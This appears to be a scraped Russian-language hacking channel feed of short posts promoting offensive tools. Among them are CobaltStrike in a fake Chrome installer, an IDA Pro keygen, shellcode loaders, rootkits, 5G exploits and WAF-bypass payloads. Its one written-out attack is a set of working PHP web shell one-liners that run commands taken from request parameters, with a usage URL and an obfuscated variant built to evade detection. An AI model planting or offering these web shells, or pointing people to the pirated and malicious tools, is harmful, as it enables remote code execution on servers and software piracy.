1 - учите питон
2 - учите арабский
3 - едете в германию работать программистом кассиром в макдач

CobaltStrike в Chrome installer с подписью от BreakPoint Software Inc
*
Strike config

Надеюсь JOY CASINO

IDA_pro - 8.3 final release + keygen
#IDApro

LOOOOL
Нашли до чего доебаться, еще и тикет открыли ))
webshell exists in the project

mini_PHP Payload
*
<?=`$_GET[0]`?>
<?=`$_POST[0]`?>
<?=`{$_REQUEST['_']}`?>
*
Usage :

bashorg.com/path/to/shell.php?0=command

*
Obfuscation :

<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>

вернуться в 2000е и задеть струны души за полсекунды 😜

CVE-2023-49287
TinyDir <= 1.2.5 Buffer overflow
Proof of concept (c 183 строки)

Погрузиться в методы использования руткитов режима ядра Windows (+ гипервизор)
link

#windows #rootkits #modules

Тут туса и SLAM интересный
Помните атаки Meltdown и Spectre (Intel, AMD, ARM, POWER) ?
Ну так вот, трое пацанов взяли проц i9-13900k, ubuntu с ядром 6.3, сделали эмуляцию intel LAM (в ядре 6.4 Linear Address Masking (intel LAM) уже есть ) и используя наработки Spectre
смогли прочитать память ядра.
В общем этот вот intel LAM позволил создать в и без того дырявой процессорной архитектуре дополнительный канал слива памяти прямо в жирные лапки
Spectre + Intel LAM = SLAM
*
Почитать можно ТУТ
Скачать SLAM ТУТ

#proc

Stratosphere Linux IPS
Ну казалось бы IPS и IPS, бох с ним что на питоне, ведь есть Machine Learning Models.
За то как его активно форсят на BlackHat Europe , BlackHat USA, BlackHat Asia, Hack In The Box, OpenAlt, Ekoparty (?)
*
DownLoad
*
#ips #ids #обхсс

Shellcode Loader with memory evasion
*
Jomungand


#win #shellcodes

Используем ssh-keygen для:
- произвольного выполнения кода
- повышения привилегий
- перезаписи файлов
Забавно (и закономерно) что вектор подходит как для *nix так и для win
*
Сам research
Дополнительный research
lib2shell

#ssh

Концепция (PoC) атаки 5G NR на:
смартфоны
CPE-маршрутизаторы
USB-модемы
5Ghoul — это семейство DoS-уязвимостей 5G на уровне реализации, затрагивающих мобильные платформы Qualcomm и MediaTek.
+12 доступных эксплойтов
*
5ghoul-5g-nr-attacks
*

😁 lol

#ransom

FUCK WAF
От Cloudflare до Imperva, Akamai, F5, Checkpoint, Fortinet

#waf #bypass #payload #regexp